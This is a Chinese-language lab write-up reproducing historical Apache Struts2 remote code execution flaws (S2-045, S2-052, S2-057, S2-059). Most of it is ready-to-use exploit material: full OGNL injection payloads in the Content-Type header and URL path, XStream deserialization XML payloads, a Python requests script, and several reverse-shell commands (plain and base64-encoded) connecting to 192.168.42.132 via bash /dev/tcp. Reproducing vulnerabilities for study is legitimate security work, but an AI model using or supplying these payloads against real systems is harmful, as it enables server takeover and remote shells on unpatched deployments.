Struts2部分历史漏洞复现

简介

Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级 Java Web 应用的开源MVC框架,主要提供两个版本框架产品: Struts 1和Struts2;Struts2是一个基于 MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器 (Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork 的技术基础上进行了合并的全新的Struts 2框架。出来到现在一直有漏洞

Struts2框架识别

常规方法:

  1. 通过网页后缀来进行判断,如 .do 或者 .action。
  2. 通过 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。

Struts2-045

漏洞简介

漏洞编号:S2-045
CVE编号:cve-2017-5638
安恒信息安全研究院WEBIN实验室高级安全研究员nike.zheng发现著名J2EE框架——Struts2存在远程 代码执行的严重漏洞,定级为高风险 在使用基于 Jakarta 插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用 户可在上传文件时通过修改 HTTP 请求头中的 Content-Type 值来触发该漏洞,进而执行系统命令。

影响范围

影响版本范围为:
Struts 2.3.5 – Struts 2.3.31
Struts 2.5 – Struts 2.5.10

复现过程

1.访问页面, 看见有个上传点,直接上传文件,利用bp抓包,找到post请求。

请添加图片描述
请添加图片描述

2.在抓到的包里面进行修改其Content-Type,进行测试,会发现返回root。

Content-Type:"%{(#nike='multipart/form-data'). (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess? (#_memberAccess=#dm): ((#container=#context['com.opensymphony.xwork2.ActionContext.container']). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)) .(#ognlUtil.getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))). (#cmd='whoami').(#iswin= (@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))). (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)). (#process=#p.start()).(#ros= (@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())). (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)). (#ros.flush())}"

请添加图片描述

3.也是修改Content-Type的值,但是要进行bash64编码再反弹shell。

Content-Type:"%{(#nike='multipart/form-data'). (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess? (#_memberAccess=#dm): ((#container=#context['com.opensymphony.xwork2.ActionContext.container']). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)) .(#ognlUtil.getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))). (#cmd='echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzMi85OTk3IDA+JjEA=|base64 -d|bash -i').(#iswin= (@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))). (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)). (#process=#p.start()).(#ros= (@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())). (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)). (#ros.flush())}"

请添加图片描述

请添加图片描述

4.或者用脚本去跑

请添加图片描述

struts2-052

影响版本

Struts 2.1.2 -Struts 2.3.33
Struts 2.5 - Struts 2.5.12

复现过程

1.抓post包,然后改context-type的值为xml的,然后后面加上测试的poc

<map> 
<entry> 
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> 
<command>
<string>/usr/bin/touch</string>  
<string>/tmp/shell1.txt</string> 
</command> 
<redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
</entry> 
</map>

请添加图片描述

3.成功写入后就可以开始弹shell,构造反弹shell的poc。在< command >里面书写命令。

<map> 
<entry> 
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> 
<command>
<string>bash</string>
<string>-c</string>
<string>bash -i >&amp; /dev/tcp/192.168.42.132/4444 0>&amp;1</string>
</command> 
<redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
</entry> 
</map>

4.攻击机监听,成功得到Shell。

请添加图片描述

struts2-057

页面:

请添加图片描述

复现过程

1.利用bp抓包,修改数据包,改成poc,poc要改成url编码。

/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('whoami')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}/actionChain1.action

//url编码后
/%24%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27whoami%27%29%29.%28%40org.apache.commons.io.IOUtils%40toString%28%23a.getInputStream%28%29%29%29%7D/actionChain1.action

请添加图片描述

struts2-059

复现过程

1.页面
请添加图片描述

2.访问http://ip:8080/?id=%25{3* 3},然后查看源代码,发现这个输入被执行了。

请添加图片描述
请添加图片描述

3.当它被执行的时候,就可以执行反弹shell的命令。但是要进行base 64 的编码

bash -i >& /dev/tcp/192.168.42.132/9997 0>&1

//编码后的
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzMi85OTk3IDA+JjEA

4.执行s2_059.py脚本文件,然后在攻击机上监听,成功拿到shell。

import requests  
url = "http://192.168.42.132:8080"  
data1 = {  
  
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"  
  
}  
  
data2 = {  
  
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzMi85OTk3IDA+JjE=}|{base64,-d}|{bash,-i}'))}"  
  
}  
  
res1 = requests.post(url, data=data1)  
  
res2 = requests.post(url, data=data2)

请添加图片描述

Logo

北京人形旗下天工造物具身智能开源社区,聚焦具身天工与慧思开物两大平台

更多推荐